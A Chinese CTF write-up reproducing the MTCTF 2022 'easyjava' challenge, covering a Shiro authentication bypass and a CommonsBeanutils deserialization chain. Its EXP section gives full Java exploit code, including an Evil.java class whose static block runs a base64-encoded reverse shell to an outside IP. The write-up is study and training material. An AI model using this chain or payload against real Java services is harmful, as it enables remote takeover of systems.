【Web】记录[MTCTF 2022]easyjava题目复现

news/2024/5/19 21:05:18 标签: java, java反序列化, Shiro, ctf, web, MTCTF, easyjava

目录

前言

简单分析

EXP


前言

nss靶场又寄了,这题环境应该是jdk8,它镜像给了jdk21,卡了我半天,最后还得是自己改Dockerfile,啊哈哈哈,这题端上来怎么都不做啊(

环境:GitHub - CTF-Archives/2022-mtgxs-web-easyjava: A web challenge in 2022 美团高校赛

简单分析

先是看application.properties,知道了应用程序的URL将以http://xxx:xxx/web开头。

环境有Shiro依赖,版本为1.5.2

然后注意到ShiroConfig中进行了权限认证

anon:表示允许匿名访问,即不需要进行身份验证就可以访问对应的URL
authc:表示需要进行身份验证后才能访问,即用户必须登录后才能访问对应的URL

 再来看相关路由

显然反序列化入口在/admin/hello处传入data参数来触发,但有身份验证给到限制

如何绕过呢?

详见:Java安全之Shiro权限绕过

MyObjectInputStream是自定义的对象输入流类,写了一些关键类的黑名单

public class MyObjectInputStream extends ObjectInputStream {
    private static ArrayList<String> blackList = new ArrayList<>();

    static {
        blackList.add("com.sun.org.apache.xalan.internal.xsltc.traxTemplatesImpl");
        blackList.add("org.hibernate.tuple.component.PojoComponentTuplizer");
        blackList.add("java.security.SignedObject");
        blackList.add("com.sun.rowset.JdbcRowSetImpl");
    }

    public MyObjectInputStream(InputStream inputStream) throws Exception {
        super(inputStream);
    }

    @Override // java.io.ObjectInputStream
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        Iterator<String> it = blackList.iterator();
        while (it.hasNext()) {
            if (desc.getName().contains(it.next())) {
                throw new ClassNotFoundException("Don't hacker!");
            }
        }
        return super.resolveClass(desc);
    }
}

笑死,TemplatesImpl没ban成,出题人的慈悲

🤔那不直接CB链子梭哈

PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->BeanComparator.compare()->TemplateImpl.getOutputProperties()->TemplateImpl.newTransformer()

 

EXP

Runtime.exec Payload Generater | AresX's Blog

Evil.java

package com.butler.springboot14shiro.exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    static {
        try {
            Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

EXP.java

package com.butler.springboot14shiro.exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class EXP {
    public static void main(String[] args) throws Exception {
        byte[] code=ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
        byte[][] codes={code};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_name","aaa");
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_bytecodes",codes);
        BeanComparator beanComparator=new BeanComparator("outputProperties",new AttrCompare());
        BeanComparator beanComparator1=new BeanComparator();
        PriorityQueue priorityQueue=new PriorityQueue(beanComparator1);
        priorityQueue.add("1");
        priorityQueue.add("2");
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
        setFieldValue(priorityQueue,"comparator",beanComparator);

        byte[] result=serialize(priorityQueue);
        System.out.println(Base64.getEncoder().encodeToString(result));

    }

    public static  byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

生成的payload再url编码一下,避免一些+号等字符被认为是其他字符

 

成功反弹shell


http://www.niftyadmin.cn/n/5438706.html

相关文章

学嵌入式开发都有哪些困难?

前几天和徐工喝酒&#xff0c;我讲了一句话&#xff0c;让大家产生了极大的共鸣。 我说&#xff1a;凡事往好处想&#xff0c;往好的方面做&#xff0c;事情就能变好。 这句话&#xff0c;是我很久以前&#xff0c;在网上看到的。 第一次看到的时候&#xff0c;我想&#xff0c…

v-if、v-show、v-html 的原理

一&#xff0c;v-if、v-show、v-html 的原理 v-if会调用addIfCondition方法&#xff0c;生成vnode的时候会忽略对应节点&#xff0c;render的时候就不会渲染&#xff1b; v-show会生成vnode&#xff0c;render的时候也会渲染成真实节点&#xff0c;只是在render过程中会在节点…

面试算法-48-二叉树的锯齿形层序遍历

题目 给你二叉树的根节点 root &#xff0c;返回其节点值的 锯齿形层序遍历 。&#xff08;即先从左往右&#xff0c;再从右往左进行下一层遍历&#xff0c;以此类推&#xff0c;层与层之间交替进行&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [3,9,20,null,…

Docker完整版(二)

Docker完整版&#xff08;二&#xff09; 一、Dockerfile1. Dockerfile简介2. Dockerfile指令简介3. Dockerfile指令用法1.3.1 构建自己的HelloWorld镜像1.3.2 构建自己的CentOS镜像1.3.3 悬虚镜像1.3.4 CMD与ENTERYPOINT用法1.3.4.1 CMD-shell1.3.4.2 CMD-exec1.3.4.3 ENTRYPO…

实现el-table合并列

效果图如下 <el-table :data"atlasDataList" style"width: 100%" :span-method"spanMethod"><el-table-column prop"stationName" label"" width"180" /><el-table-column prop"atlasNumbe…

【服务器】Linux 安装 Jenkins+cpolar实现远程访问

Jenkins是一个开源的持续集成(CI)和持续交付(CD)工具&#xff0c;用于自动化构建、测试和部署软件项目。它提供了一个易于使用的平台&#xff0c;用于构建、测试和交付软件的过程。 下面介绍在Linux CentOS 7中如何实现安装Jenkins和结合cpolar 内网穿透工具实现远程访问Jenkin…

如何在没有备份的情况下恢复 Android 上已删除的照片?

丢失 Android 设备上的珍贵照片可能是一场噩梦&#xff0c;尤其是在没有备份的情况下。无论是意外删除图像还是由于Android 崩溃而丢失图像&#xff0c;一想到它们可能会永远消失就令人沮丧。幸运的是&#xff0c;有多种方法可以在 Android 上恢复已删除的照片。 如何在没有备份…

【算法篇】七大基于比较的排序算法精讲

目录 排序 1.直接插入排序 2.希尔排序 3.直接选择排序 4.堆排序 5.冒泡排序 6.快速排序 7.归并排序 排序 排序算法的稳定性&#xff1a;假设在待排序的序列中&#xff0c;有多个相同的关键字&#xff0c;经过排序后&#xff0c;这些关键字的先后顺序不发生改变&#…